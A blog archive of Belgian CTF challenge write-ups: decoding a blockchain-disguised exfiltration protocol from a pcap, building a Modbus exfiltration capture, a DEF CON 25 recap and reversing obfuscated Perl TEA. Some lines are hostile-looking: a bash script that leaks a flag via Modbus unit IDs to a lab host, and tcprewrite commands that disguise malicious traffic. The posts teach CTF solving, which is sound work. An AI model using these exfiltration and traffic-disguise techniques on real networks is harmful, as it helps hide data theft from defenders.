Category Archives: CSCBE

Write-up on Blockchain data exfiltration (CSCBE18 qualifiers) challenge

This article describes the analysis of data exfiltration using blockchain as it was used in a challenge for the CSCBE 2018 qualifiers. The Cyber Security Challenge Belgium (CSCBE) is a typical Capture-The-Flag (CTF) competition aimed at students from universities and colleges all over Belgium. All of the CSCBE’s challenges are created by security professionals from many different organisations. This challenge was created by Kris Boulez, one of NVISO’s employees, during his commutes and it allowed him to play around with blockchain and cryptography, and improve his Golang and Perl skills.

The challenge consisted of three subchallenges for which a single pcap file was provided

Each of these subchallenges contains a separate flag, has increasing complexity and  builds on the previous one. We’ll start with a general analysis of the network traffic and then dive into each subchallenge ad describe how to get different flags.

A write-up by one of the participants was published shortly after the Qualifiers describing a solution based on enumeration. Here a solution is given solely based on reversing the algorithms.

A Github repository (KrisBoulez/CSCBE18-dataexfill) contains all the code for setting up and running this challenge. It also includes some scripts that were used to perform the analysis in this write-up.

Generic pcap analysis

All requests are GET and only two type of URL’s are accessed on the same server, paths starting with /block and /address

The UserAgent is “Satoshi:0.15.1” -> could this challenge be linked to Bitcoin ?

To list all HTTP GET requests

# tshark -Y 'http.request.method == "GET"' -r data_exfil.pcap

To extract all the results from the response packets (further analysis is based on this extraction)

# open pcap file in Wireshark / File / Export objects / HTTP

/block request – responses

A total of 11 different /block requests are made. All block indices requested, are in the range 312300 – 312399 [all other /block requests for this range would return a block from the BTC blockchain and could have been used for solving the challenges]

http://6.6.6.6/block/312373?format=json

The response is JSON formatted and a cursory examination indicates this is part of the Bitcoin blockchain. Online searching the BTC blockchain, shows this is indeed a single block.

https://blockchain.info/block/312373?format=json

The content of all the blocks served, does correspond with the online version of the blocks.

/address

[As the /blok requests/responses seem genuine, from here on we will only discuss the /address requests/response. So “all the requests” must be read as “all the /address requests”]

Blockshark (Flag 1)

One of your employees is believed to be leaking information to a competitor in return for Bitcoins. Fortunately, we were able to capture network traffic when he was exfiltrating data!

It is believed he was transferring a super secret nota which starts with the following string: Top Secret !!!

The last GET request seems special (the address part is longer then all the others)

# tshark -Y 'http.request.method == "GET"' -r data_exfil.pcap | grep address
[...]
 3154 127.666978 192.168.0.2 → 6.6.6.6 HTTP 238 GET /address/4808354973345d9b3e485f2a58210409c514042030042a3e48201f48902c58b0285d570f5d9f04?format=json HTTP/1.1
 3180 129.848436 192.168.0.2 → 6.6.6.6 HTTP 238 GET /address/5d58091f4f093d660758982e1fb82209e72f585c3e1fe51d09371c5d593c2e200c040334192116?format=json HTTP/1.1<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>
 3205 131.033759 192.168.0.2 → 6.6.6.6 HTTP 310 GET /address/5d5119494e31581e35585e3e04fe065d6d3504f404480e3b048c0a5d441309fb021fb00c588714042e3b58842d1f811019242f5d9e211fef3a486b2b09cd39044a255dee025d280304980c?format=json HTTP/1.1

Looking at the exported files the file extracted from this last requesst is also special (small size)

‑rw‑r‑‑r‑‑ 1 xyz zyx 19385 Feb 8 18:28 4808354973345d9b3e485f2a58210409c514042030042a3e48201f48902c58b0285d570f5d9f04%3fformat=json
‑rw‑r‑‑r‑‑ 1 xyz zyx 19385 Feb 8 18:28 5d58091f4f093d660758982e1fb82209e72f585c3e1fe51d09371c5d593c2e200c040334192116%3fformat=json
‑rw‑r‑‑r‑‑ 1 xyz zyx 206 Feb 8 18:28 5d5119494e31581e35585e3e04fe065d6d3504f404480e3b048c0a5d441309fb021fb00c588714042e3b58842d1f811019242f5d9e211fef3a486b2b09cd39044a255dee025d280304980c%3fformat=json

Examining this last result file in detail we see

{
    "hash160":"5cfb25c53220ec02913648a380e2b07fe0287ef2",
    "address":"19Ue2gkjFb7K3nodHSpz3DUqrVUNeNNkj2",
    "return_code":201
    "return_value":"RkxhZyAxOiBDU0NCRXtERkhKS0oqJigqVVlURyUjJDI0M30="
}

The return_code seems to indicate some sort of success (HTTP 200 range of return codes)

The return_value seems like a Base-64 encoded string (trailing ‘=’), testing this on https://www.base64decode.org/ we get the following result and have found the value for Flag 1

FLag 1: CSCBE{DFHJKJ*&(*UYTG%#$243} 

BlocksharkNado (Flag 2)

This challenge is the follow up of Blockshark

The server the exfiltrator was communicating with has been seized and a copy of the software has been installed on: 52.214.111.33

To obtain the flag, only the same type of traffic as the exfiltrator is needed/allowed. To prove your knowledge send the following message to the server: “gimme the second flag …” (minus the ” quotes)

To find Flag 2 we have to ask “gimme the second flag …” , so we will need to at least partly understand the communication protocol. All other (apart from the last one which we analysed above) /address requests seem very similar wrt to size of request and response. Let’s look at the first one

1393 17.270151 192.168.0.2 → 6.6.6.6 HTTP 238 GET /address/1f620e09863c3d9321492c06096b3e492012489b3b5dc03d3d6d305d082d5d9e2148301109a211?format=json HTTP/1.1

The /address requests do not seem to be in line with the info in the public BTC blcokchain. A typical address request for the real Blockchain is

https://blockchain.info/address/19Ue2gkjFb7K3nodHSpz3DUqrVUNeNNkj2?format=json

In regular BTC requests, the address part is base56 encoded, while here the address part only consists of hex chars (the real address can be found in the “address” field of the returned json file).

Comparing an /address file from the capture and comparing it to the real address response, we find two additional fields

$ diff 1f620e09863c3d9321492c06096b3e492012489b3b5dc03d3d6d305d082d5d9e2148301109a211%3fformat\=json ../../19Ue2gkjFb7K3nodHSpz3DUqrVUNeNNkj2.json
4,5d3
< "return_code":200
< "return_value":"VG9wIFNlY3JldCAhIQ=="

Building on the knowledge we gathered from analysing the last packet of the series which gave us  Flag 1:

  • return_code: looks like an HTTP status response
  • return_value: a Base64 econded value, which decodes to “Top Secret !!“, which coincides with the first line of text the intruder is sending

From the analysis of the “return_value” of the first /adress file we know it encodes the text

Top Secret !!  (13 characters, including spaces)

and the request is

1f620e09863c3d9321492c06096b3e492012489b3b5dc03d3d6d305d082d5d9e2148301109a211

(78 hex chars = 13 hextets)

Rewriting this for legibility

1f620e T
09863c o
3d9321 p
492c06 [space]
096b3e S
492012 e
489b3b c
5dc03d r
3d6d30 e
5d082d t
5d9e21 [space]
483011 !
09a211 !

It appears not be a simple substitution  cipher as both 492012 and 3d6d30 code for “e“.

But we now have enough ciphertext available to create the message for Flag 2 (“gimme the second flag …”). By looking at all the address requests and correlating with the return_value, one of the possible solutions is

g  5d9f04
i  3d2b33
m  3d742a
m  3d742a
e  492012
  492c06
t  5d082d
h  494e31
e  492012
  492c06
s  09371c
e  492012
c  489b3b
o  09863c
n  04ee2f
d  58b32e
  492c06
f  5d9b3e
l  58ab23
a  581e35
g  5d9f04
  492c06
.  5d973b
.  5d973b
.  5d973b

Concatenating all these values and submitting it against the server

$ curl ‑A Satoshi:0.15.1 http://6.6.6.6/address/5d9f043d2b333d742a3d742a492012492c065d082d494e31492012492c0609371c492012489b3b09863c04ee2f58b32e492c065d9b3e58ab23581e355d9f04492c065d973b5d973b5d973b?format=json

{
 "hash160":"5cfb25c53220ec02913648a380e2b07fe0287ef2",
 "address":"19Ue2gkjFb7K3nodHSpz3DUqrVUNeNNkj2",
 "return_code":202
 "return_value":"RmxhZyAyOiBDU0NCRXtzZGZJVWVydzg5MzQ3NSMkJlkmI30="
}

And by Base64 decoding the return_value we get the following result and have found the value for Flag 2

 Flag 2: CSCBE{sdfIUerw893475#$&Y&#}  

BlocksharkNado vs BlockSharcopus (Flag 3)

This challenge is the follow up of Blockshark & BlocksharkNado

The server the exfiltrator was communicating with has been seized and a copy of the software has been installed on: 52.214.111.33

To obtain the flag, only the same type of traffic as the exfiltrator is needed/allowed. To prove your knowledge send the following message to the server: “Dear 0r&cl# (what is Flag3)” (minus the ” quotes)

So, to get Flag 3 we need to send “Dear 0r&cl# (what is Flag3)”  ( minus the quotes) to the server. As a lot of these characters are not present in the available plain/ciphertext we need to reverse the communication protocol

The address part (leaving of the “format=json” part) is 78 chars long, except for the last one which is 150 chars long.

  • 78 can only be divided by 13, 3 and 2;
  • while 150 is also divisable by 3 and 2

The following command allows extracting all the address parts

# tshark ‑Y 'http.request.method == "GET"' ‑r data_exfil.pcap | grep address | awk '{print $9}' | sed ‑e 's/\/address\///' | sed ‑e 's/\?format=json//' > address_reqs

Frequency analysis of the duplets (i.e. two consecutive hex chars) shows that the distribution is not random, we see monotonously increasing numbers, while the duplets which occur more then 40 times are rare.

Duplet #occ
[...]
08  18
21  18
20  19
2f  21
19  23
2e  32
49  37
48  48
3d  49
5d  67
1f  70
04  90
58  91
09  93

Indicating where the duplets, which occur more then 40 times, appear in the request we get (only three requests shown)

04ad1e3428051459124be42b04d6321418213f792a2da10a45953c3f24162d363e477a1145eb04
^                 ^     ^           ^     ^     ^     ^     ^     ^     ^   ^
04da3945f7263f39054b08072d590047590845b71204380647620b4bcb3d141c0947900e04b828
^     ^     ^     ^     ^     ^     ^     ^     ^     ^           ^     ^
04e326474d2e4b5d304b7a08453d3214100b47441247f0102d7c384b703b4b080747a20747632a
^     ^     ^     ^     ^           ^     ^     ^     ^     ^     ^     ^

Looking at the output, clearly a pattern emerges. The high occurring duplets seem to located at specific places in the request. Zooming on the ones which reoccur in the different requests, we note that the majority are located at positions which are 6 (or a multiple thereof) position separated from each other.

Hextet xxyyzz

For the rest of the analysis we will indicate the hextet as “xxyyzz” to discuss its sub-parts.

splitting one request line in the different hextets (i.e. 6 consecutive hex chars), we get the following, where we see the repetition of the ‘xx’ part

1f620e
09863c
3d9321
492c06
096b3e
492012
489b3b
5dc03d
3d6d30
5d082d
5d9e21
483011
09a211

‘xx’ part

Doing a frequency analysis on the ‘xx’ part we get (columns are: xx duplet, number of occurrence, decimal representation of xx duplet)

xx | #occ | decimal(xx)
04   77      4
09   77      9
16    5     22
19   12     25
1f   57     31
2e   17     46
3d   41     61
48   45     72
49   36     73
58   86     88
5d   66     93

The “decimal(xx)” part correlates directly with the variable part of the /block requests

312304?format=json

312309?format=json

312322?format=json

[…]

‘yy’ part

Following the logic for the ‘xx’ part, the ‘yy’ part would be something in each of the different block files. A quick frequency analysis shows that all ‘yy’ duplets (decimal 1 – 255) occur roughly at the same frequency.

Looking at a /block file, we see it is made up of “key”:value pairs. Frequency analysis on the “key” entries (for the 312304?format=json) gives [annotations added]

[...]
main_chain      1
mrkl_root       1
addr_tag      222  [ free text form ]
addr_tag_link 222  [ URL ]
weight        289  [ 4-5 digit number ]
vin_sz        289  [ 1-2 digit number ]
lock_time     289  [ 0 ]
out           289  [ just a place holder ]
inputs        289  [ just a place holder ]
vout_sz       289  [ 2 ]
hash          290  [ 64 hex char hash value ] <span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>
time          290  [ unix time stamp, all in the same range ]
ver           290  [ 1 ]
relayed_by    290  [ IP address ]
size          290  [ 3-4 digit number ]
prev_out      496  [ just a place holder ]
witness       497  [ empty]
sequence      497  [ the same digit for all: 4294967295 ]
value        1087
type         1087
[...]

As there seem to be at least 255 ‘yy’ duplets, we look at the ones annotated above. Off these “hash” looks the most promising (64 hex chars; can be used to hide lots of stuff).

We know that “1f620e” codes for “T” (first encoded character)

  • xx: 1f (dec 31) indicates the 312331.json file
  • yy: 62 (dec 98) probably somehow related to the “hash” lines
  • zz: 0e (dec 16unknown
  • the hexadecimal ascii code for “T” is “54”

Looking for this hex code (54) in 312331.json reveals there are 52 of the “hash” lines which are matching. When analysing the “how many-th” of these hash line matches, we see it also matches on the 98th line, which corresponds to the “yy” part.

[...]
 72 "hash":"b8634bb572ae8696c50a0654451c212f75866bbad9877948309c529f50bb5d4d",
 85 "hash":"10c42099c9908546bf5eb4db835be43487818d34e9334f20390c083b45418bcc",
 90 "hash":"2b3833205d2a5b2aa3d7950c822111afb791189abc74b54c6d6f12d7600f58f8",
 92 "hash":"39116dd5d36773fb8bffe3250f71782c1ba0bda9eb0302f542dfca8881f14592",
 98 "hash":"43cffe4060bf2e543ce6b60e5714ea7ff8ef60162c3615be9dd194054e3dbdca",
107 "hash":"4154ccce0964f0f4062c919377161d130a135d9495d981c7e875be94c8eef031",
109 "hash":"e75f7df1662ccd2d8501f0d911aa18d12d1cf1a2a1ef76bc16eb0b070caf1542",
[...]

Examining the 98th hash line in more detail and looking for “54”

43cffe4060bf2e543ce6b60e5714ea7ff8ef60162c3615be9dd194054e3dbdca
             <span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span> ^^ (position 15-160

zz” has decimal value 16, so this let’s us assume that this is an array which starts at “0”.

Quickly checking this assumption we see that it also holds for the other hextets

09863c” codes for “o

checking our assumption

  •  xx: 09 (dec 9)
  •  yy: 86 (dec 134)
  •  zz: 3c (dec 60)
  •  “o”: ascii code “6f”

312309.json, looking for “6f”

[...]
131 "hash":"efd8e356f05dbc396ac6a9fe9ad143b61e7ab39b091d70f7e2126c708373ced4",
133 "hash":"0b83dde3c9bbdb06f438db9c503ee060bde941c4f1f6176f1c3b66c559d1d4f1",
134 "hash":"e12217881e2b80950a86bbc071b1800c65edcc11d4431cbcd1810a4afda46fbb",
149 "hash":"71b69de1368e73b66f1ccffd036440a422f6828db85c0c6d3ac7809eca86b31c",
155 "hash":"d4b3f72b3d84378be66fa9b9bf26ff8e2cc5efc8f4aece7290f6f52a65c15f2c",
[...]

and looking at the 134-th “hash” line we find “6f”

e12217881e2b80950a86bbc071b1800c65edcc11d4431cbcd1810a4afda46fbb
                                           (position 61-62) ^^

Now that we know how the encryption work we can look up all symbols we need to create the message for Flag 3

$ curl ‑A Satoshi:0.15.1 http://6.6.6.6/address/2e0c3c58da28585d065894275db6135d320648250f1606275d2a044960362e2c1c58cb1858d51a5db73258c0354871165d621c492419491a3a58be344942254971315d8b10589c08160e37493d17491004?format=json

{
 "hash160":"5cfb25c53220ec02913648a380e2b07fe0287ef2",
 "address":"19Ue2gkjFb7K3nodHSpz3DUqrVUNeNNkj2",
 "return_code":203
 "return_value":"RmxhZyAzOiBDU0NCRXtqejJoNDc4ZGZnXiMlJSQlamRman0="
}

Base64 decoding the return_value we get the third flag

 Flag 3: CSCBE{jz2h478dfg^#%%$%jdfj}

[Another approach for finding the missing characters was brute force. Once the concept of the hextets was clear, one could iterate over the different yy and zz values. The webserver implemented rate limiting which hindered this approach, but made it not impossible]

About the author

Kris BoulezKris Boulez has extensive experience in Information Security. He joined NVISO in early 2017. The last decade he has mainly worked on Enterprise Security Architectures (ESA), PKI and (Web) Application Security. For ESA, he strongly believes in a business-driven approach (SABSA) and for human well-being in the healing power of coffee. You can find Kris on LinkedIn.

 

How CSCBE’s “Modbusted” challenge came to be

About the CSCBE

The Cyber Security Challenge Belgium (CSCBE) is a typical Capture-The-Flag (CTF) competition aimed at students from universities and colleges all over Belgium. All of the CSCBE’s challenges are created by security professionals from many different organisations.  The “Modbusted” challenge was created by Jonas B, one of NVISO’s employees.

First, some statistics about the Modbusted challenge during this year’s CSCBE qualifiers. The challenge was rated as quite easy, with a score of 40 points. It was solved by 43 teams, with the first solve by team “Riskture”, about 1 hour and 6 minutes into the CSCBE 2018. Unsurprisingly, all 8 teams that made it to the finals were able to solve it.

Before diving into the details of how it was created, we’ll give you the chance to try out the challenge yourself:

Oh no, we’ve discovered some weird behaviour in a crucial part of our nuclear power plant! In order to investigate the problem, we attached some monitoring equipment to our devices. Could you investigate the captured traffic? Hopefully we’re not compromised …

You can download the PCAP file here: CSCBE_Modbusted

After you’ve solved it, or if you just want to see how the PCAP was created, read on below!

Intro to Modbusted

Another fitting title for this blog post would have been “PCAP manipulation 101”. For this challenge, we didn’t want to generate a PCAP from scratch, since that would probably have required multiple VMs to simulate machines and additional effort to generate some realistically-looking traffic. That’s why we went for an existing PCAP containing sample Modbus traffic, more precisely DigitalBond’s Modbus test data part 1.

This traffic will serve as the legitimate traffic. In the PCAP, we can discern some master devices (for example a human-machine interface), with IPs ending in .57 and .9 that are querying slave devices with IPs .8 and .3 (for example PLCs) using Modbus TCP.

Generating the data exfiltration traffic

The malicious traffic will consist of some kind of encoded data exfiltration from an infected master system towards a fake slave device, which simulates a physical device attached to the network that further communicates with the adversary using a 4G connection. So for this part, two virtual machines were in fact needed to generate the traffic.

For the slave machine simulation, there is a Java application called “ModbusPal” that is able to emulate a Modbus slave. To communicate with the slave, the master can use “mbtget”, a command line Modbus client written in Perl. For the data exfiltration part, we wrote a short script to convert the flag letter per letter into its ASCII code and send that code as Modbus’ unit identifier.

#!/bin/bash

word="CSCBE{MoModbusMoProblems}"
for i in $(seq 1 ${#word}); do 
code=$(echo $(printf "%d" "'${word:i-1:1}")); 
mbtget -r1 -u $code -n 1 172.16.23.163
done

The unit identifier specifies the slave address, but this is often not used, since the slave is usually identified by its IP address. Only in case multiple devices are connected to a single IP, will there be different unit identifiers. As a result, communication containing a lot of different unit identifiers should arouse suspicion.

Will it blend?

Okay, we have simulated data exfiltration using the Modbus TCP protocol. However, the traffic in our malicious PCAP looks nowhere near like the traffic in the original PCAP. So, can we make it blend in?

First of all, while running the script and capturing the Modbus exfiltration traffic, there is also some undesired noise generated by the virtual machines. To get rid of this, we can use a tool called “editcap”, which allows us to delete certain entries or split the PCAP. For example, to delete the first 2 ARP entries in the image below, we run the command below:

arp_noise

 

editcap Malicious_traffic1.pcap Malicious_traffic2.pcap 1 2

Next up is changing the source and destination addresses. We can do this using the “tcprewrite” tool. However, unless you only have unidirectional traffic, we’ll need some extra processing to specify the bidirectional traffic flows. That’s where “tcpprep” comes into play.

Using tcpprep, it’s possible to determine the communication flows in the PCAP and thus mark servers and clients to correctly substitute information. Here, we use the port mode, which is applied when you want to use the source and destination port of TCP/UDP packets to classify hosts. So, by running the following command, we can create a cache file to be used with the tcprewrite command.

tcpprep --port Malicious_traffic2.pcap --cachefile=csc.cache

You can view the information stored in the cachefile by using:

tcpprep --print-info csc.cache

This command also tells us that it marked traffic from the master as “primary” and traffic from the slave as “secondary”. Keeping this in mind, we’ll use the following command to rewrite the layer 3 address information and assign the correct IP addresses. As a result, the master gets the same IP as in the legitimate traffic PCAP, and the slave gets another IP in the same subnet:

tcprewrite --endpoints=10.0.0.57:10.0.0.7 --cachefile=csc.cache --infile=Malicious_traffic2.pcap --outfile=Malicious_traffic3.pcap

It’s nice that we managed to simulate the layer 3 addresses, but one look at the MAC addresses and you immediately notice the malicious traffic. So, for that reason we also need to change the layer 2 addressing info:

tcprewrite --enet-smac=00:20:78:00:62:0d,00:90:E8:1A:C3:37 --enet-dmac=00:90:E8:1A:C3:37, 00:20:78:00:62:0d --cachefile=csc.cache --infile=Malicious_traffic3.pcap --outfile=Malicious_traffic4.pcap

For the master, we obviously chose the same MAC address as the original traffic (00:20:78:00:62:0d). To make the slave less suspicious, we couldn’t keep it at its current value, giving away the VM environment. Instead of picking a random value, we went for a MAC address belonging to MOXA (00:90:E8:…), an industrial device provider. With these actions completed, our data exfiltration traffic blends in with the legitimate traffic.

Traffic merge

Now we have two PCAPs, one with legitimate traffic, and one with malicous traffic. To finish things up, we have to merge them into one file. Thanks to “tcpreplay“, we can retransmit a PCAP’s traffic over an interface, ànd specify the sending rate.

Since the original PCAP has traffic spread over a period of nearly half an hour, we’ll speed things up a little and set the sending rate to 2 packets per second. For the malicious traffic, we have a lot more packets, so to fit the same time frame, we need to set the rate to 5 packets per second.

 

Running both of the tcpreplay commands with Wireshark listening on the interface produces the PCAP that we want!

Jonas is a senior security consultant at NVISO, where his main focus is infrastructure assessments. Next to defensive tasks, such as architecture reviews, he also likes to get offensive and perform network pentesting and red teaming. You can find Jonas on LinkedIn.

“We are happy to share our knowledge with the community and thus hope you enjoyed the content provided on this article! If you’re interested in receiving dedicated support to help you improve your cyber security capabilities, please don’t hesitate to have a look at the services NVISO offers! We can help you define a cyber security strategy / roadmap, but can also offer highly technical services such as security assessments, security monitoring, threat hunting & incident response (https://www.nviso.be). Want to learn similar techniques? Have a look at the SEC599 SANS class, which was co-authored by NVISO’s experts! (https://www.sans.org/course/defeating-advanced-adversaries-kill-chain-defenses)”

NVISO at DEF CON 25

Staying up to date with the latest hot topics in Security is a requirement for any Security Consultant. Going to conferences is a great way of doing this, as it also gives you the opportunity to speak to peers and get a good view into what the security industry and the researchers are up to.

This year, we sent a small delegation to DEF CON, which is one of the most known Security Conferences in the world. We think everyone should go there at least once in their careers, so this year we sent Michiel, Cédric, Jonas and Jeroen to get their geek-on in Las Vegas!

From left to right: Cédric, Michiel, Jonas and Jeroen ready for their first DEF CON!
Ready to turn off your phones and laptops…

The conference was held at Caesar’s Palace’s conference center, right in the middle of the famous strip. There were four parallel tracks for talks and a lot of different villages and demos throughout the entire conference. We know that What happens in Vegas, Stays in Vegas, but some of these talks were just too good not to share!

Internet of Things (IoT)

There was a large focus on IoT this year, which was great news for us, as we’re actively evolving our IoT skillset. Cédric, our resident IoT wizard, has been running around from talk to talk.

A further update on the IoT track will be provided by Cédric once he is back from holidays 🙂

Mobile

The amount of talks on Android / iOS was fairly limited, but there were definitely some talks that stood out. Bashan Avi gave a talk on Android Packers. The presentation is very thorough and tells the story of how they used a few of the most popular packers to devise an algorithm for detecting and unpacking variations of the same concept. Their approach is very well explained and could be really interesting for our own APKScan service.

Screen Shot 2017-08-03 at 07.46.16

A typical flow of Android Packers (source)

On Sunday, Stephan Huber and Siegfried Rasthofer presented a talk on their evaluation of 9 popular password managers for Android. Their goal was to extract as much sensitive information as possible on a non-rooted device. Even though you would expect password managers to put some effort into securing their application, it turns out this is rarely the case. The following slide gives a good overview of their results, but be sure to check out the entire paper for more information.

Screen Shot 2017-08-03 at 07.53.18.png

The results of Stephan Huber and Siegfried Rasthofer’s research on Android Password Managers (source)

Biohacking

One of the most interesting talks for us was given by John Sotos (MD). While almost all talks focus on very technical subjects, John gave an introduction on the Cancer Moonshot Project and how creating a gene-altering virus targeted at specific DNA traits is inevitable. This is of course great from a Cancer-treatment point of view, but what if someone would alter the virus to attack different genes? Maybe an extremist vegetarian could make the entire world allergic to meat, or maybe a specific race could be made infertile… In his talk, John explains what could go wrong (and he is very creative!) and how important it is to find a defense against these kinds of viruses even before they actually exist.

Villages

Crypto Village

One of our biggest projects within NVISO Labs consists out of building an out-of-band network monitoring device. In the most recent years we’ve seen a lot of the web shift to HTTPS.

 

While this is definitely a good thing in terms of security, it does limit the possibilities of monitoring network traffic. Malware authors know this as well, and are starting to increasingly adopt TLS/HTTPS in their CnC communications (e.g. the Dridex family). In the crypto village, Lee Brotherston demonstrated various techniques to fingerprint TLS connections and even showed a working PoC. This could allow us to create fingerprints for various malware communications and detect them on the network. More information can be found on Lee’s GitHub page.

Car Hacking Village

When we were looking through the villages available at DEF CON this year, the newest car hacking village immediately caught our attention. In the room were several cars with laptops hooked to the dashboards and people trying to completely take over the controls. In the middle of the room was a brand new Dodge Viper of which the steering controls got reprogrammed to control a video game instead of the actual car. Some of our colleagues even got the chance to test drive it! Although with mixed results …

DF8gzSOV0AADxw4

Jonas learning how to drive a sports car (and not doing a great job 😜).

Packet Hacking Village

The Packet Hacking Village (PHV) is one of the biggest, if not the biggest, village in DEF CON. It’s also the place where Jonas spent a lot of his time, meticulously following talks and taking notes. Different talks could be linked to various steps of the cyber kill chain and were interesting to consider for red teaming assessments or as part of the blue team protecting against these attacks.

One of the presentations that stilled our offensive hunger was given by Gabriel Ryan and discussed wireless post-exploitation techniques. One of the attacks allows to steal AD credentials through a wireless attack using a ‘hostile portal’ that redirects a victim’s HTTP traffic to SMB on the attacker’s machine. This, and his other attacks were facilitated by his own eaphammer tool.

Our blue side was satisfied as well with a talk on Fooling the Hound, which attempts to thwart attackers making use of the BloodHound tool, aimed at visualizing the relationships within an AD environment. His deceptions include fake high-privilege credentials, which increase the shortest path towards a high-value asset. The resulting BloodHound graph showed a greatly increased number of nodes and edges, thereby complicating an attacker’s lateral movements!

Meetup with the CSCBE winners

As you may know, the winners of NVISO’s Cyber Security Challenge 2017 received tickets to DEF CON which was an excellent opportunity to have a little Vegas CSC reunion!

DGAQxY8UIAAenHH

Return to sender

All good things come to and end, and so did the DEF CON conference. We had a really great time in Las Vegas, and everyone made it home safely without losing too much money at the poker table ;-).

Screen Shot 2017-08-03 at 08.15.23

CSCBE Challenge Write-up – Sufbo

The Sufbo challenge was tackled during the Cyber Security Challenge qualifiers and proved to be very difficult to solve. This write-up gives you a possible way of solving it!

Credits

All challenges of the Cyber Security Challenge are created by security professionals from many different organisations. The Sufbo challenge in particular was created by Adriaan Dens, one of our distinguished challenge contributors, from Proximus. Adriaan & Proximus have contributed multiple challenges over the years and they tend to be pretty hard to solve ;).

The challenge

And you thought Assembly was hard to read? Try this!

The solution

The challenge consists out of a heavily obfuscated piece of perl code. We can start by cleaning up the code which improves the readability by a small bit:

print"Flag: ";
chomp($_=&lt;&gt;);
$[=0;
die if y///c!=32;
chomp(@_=&lt;DATA&gt;);
$/=join'',map{chr(ord$_^$=)}split//,pack"H*",shift(@_).shift(@_);

while($,=substr$_,8*$-,8) {
    ($@,$*,$#,$x,$y,$z,$!,$.,$,) = (unpack("N*",$/.$,),0,2**31*(sqrt(5)-1),(1&lt;&lt;32)-1);
    map {
        $!+=$.;
        $!&amp;=$,;
        $y+=((((($z&lt;&lt;4)&amp;$,)+$@)&amp;$,)^(($z+$!)&amp;$,)^((($z&gt;&gt;5)+$*)&amp;$,));
        $y&amp;=$,;
        $z+=((((($y&lt;&lt;4)&amp;$,)+$#)&amp;$,)^(($y+$!)&amp;$,)^((($y&gt;&gt;5)+$x)&amp;$,));
        $z&amp;=$,;
        $"=pack("N*",$y,$z);
        $/=$"x2
    }0..31;
    die if$"ne pack"H*",$_[$-];
    $-++;
}
print "OK\n"

__DATA__
6c594e50630d4f63
7d515d4655525b1d
7872575285c742da
15c670798094a00b
54f08c6b937ed1f2
6810afed7372cd76

This code might still not mean a lot to the average non-perl-speaking-person. Let’s take a look at the same code, but with some inline comments:

print"Flag: "; # Prints "Flag: " to STDIN
chomp($_=&lt;&gt;); # Reads in the input into the variable $_
$[=0; # Changes the starting index of an array to 0 (It's a useless command actually)
die if y///c!=32; # y///c is a Perl golfing idiom that is similar to length($_), so the length of your input has to be a string of length 32.
chomp(@_=&lt;DATA&gt;); # Store the data below (under __DATA__) in the array @_
$/=join'',map{chr(ord$_^$=)}split//,pack"H*",shift(@_).shift(@_); # Shift the first two elements of @_, "unhexify" the strings, split them per character, XOR with $= (default value is 60), and join the characters back in the variable $/.
 #
while($,=substr$_,8*$-,8) { # While there are 8 characters left in the input do:
($@,$*,$#,$x,$y,$z,$!,$.,$,) = (unpack("N*",$/.$,),0,2**31*(sqrt(5)-1),(1&lt;&lt;32)-1); # Convert the variable $/ (unknown) and $, (our input) to unsigned numbers, assign 0 to $!, assign 2**31*(sqrt(5)-1) to $/ and assign (1&lt;&lt;32)-1 to $,.
map { # Use map to loop 32 times (see below)
$!+=$.; # Add $. to $!
$!&amp;=$,; # Bitwise AND $! with $,
$y+=((((($z&lt;&lt;4)&amp;$,)+$@)&amp;$,)^(($z+$!)&amp;$,)^((($z&gt;&gt;5)+$*)&amp;$,)); # Some bitwise operations added to $y
$y&amp;=$,; # Bitwise AND $y with $,
$z+=((((($y&lt;&lt;4)&amp;$,)+$#)&amp;$,)^(($y+$!)&amp;$,)^((($y&gt;&gt;5)+$x)&amp;$,)); # Some bitwise operations added to $z
$z&amp;=$,; # Bitwise AND $z with $,
$"=pack("N*",$y,$z); # Convert the unsigned numbers back to string representation
$/=$"x2 # Set $/ to two times $"
}0..31; # Use map to loop 32 times
die if$"ne pack"H*",$_[$-]; # Die if $" is not equal to the "unhexified" element ($- contains the index) in @_
$-++; # Increase the variable $-
} #
print "OK\n" # Printed if you have the key
 #
__DATA__ # Starting the DATA block (kinda like a here document)
6c594e50630d4f63 # This part was used for $/ in line 6.
7d515d4655525b1d # This part was used for $/ in line 6.
7872575285c742da # This part was used to compare with the input on line 20
15c670798094a00b # This part was used to compare with the input on line 20
54f08c6b937ed1f2 # This part was used to compare with the input on line 20
6810afed7372cd76 # This part was used to compare with the input on line 20

So now we more or less know what each line does but we still miss context on a higher level (what it is doing). As always in reverse engineering, you try to find some “known parts” which allow you to understand the code a lot faster. These parts are usually strings, metadata, fixed numbers or familiar code blocks.

In our case, we have 2 fixed numbers: 2**31*(sqrt(5)-1) and (1<<32)-1. In this representation they don’t mean much but if we convert them to hex numbers we get 0x9e3779b9 and 0xffffffff respectively.

Let’s see if our old friend Google knows more about this.

Screen Shot 2017-04-04 at 09.55.02

Hmm, interesting! Seems like we’ve got a Perl implementation of Tiny Encryption Algorithm (TEA) on our hands here!

More specifically, the while loop block in the code is the actual TEA implementation, which decrypts the second half of the __DATA__ section using the first half as the key.

Retrieving the key can be done using the following perl one-liner:

perl -E 'say join"",map{chr(ord$_^$=)}split//,pack"H*","6c594e50630d4f637d515d4655525b1d"

Which yields us “Perl_1s_Amazing!” as the key.

So now we have they key and the data to be decrypted. Let’s be lazy and copy the reference code listed on the wikipedia page we found earlier.

#include&lt;stdint.h&gt;
#include&lt;stdio.h&gt;

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
    uint32_t delta=0x9e3779b9; /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
    for (i=0; i&lt;32; i++) { /* basic cycle start */
        v1 -= ((v0&lt;&lt;4) + k2) ^ (v0 + sum) ^ ((v0&gt;&gt;5) + k3);
        v0 -= ((v1&lt;&lt;4) + k0) ^ (v1 + sum) ^ ((v1&gt;&gt;5) + k1);
        sum -= delta;
    } /* end cycle */
    v[0]=v0; v[1]=v1;
    printf("%x%x", v0, v1);
}

void main() {
    /* Our cipher chunks, found in the __DATA__ block of the Perl code */
    uint32_t c0[] = { 0x78725752, 0x85c742da };
    uint32_t c1[] = { 0x15c67079, 0x8094a00b };
    uint32_t c2[] = { 0x54f08c6b, 0x937ed1f2 };
    uint32_t c3[] = { 0x6810afed, 0x7372cd76 };

    /* The used keys for encrypting */
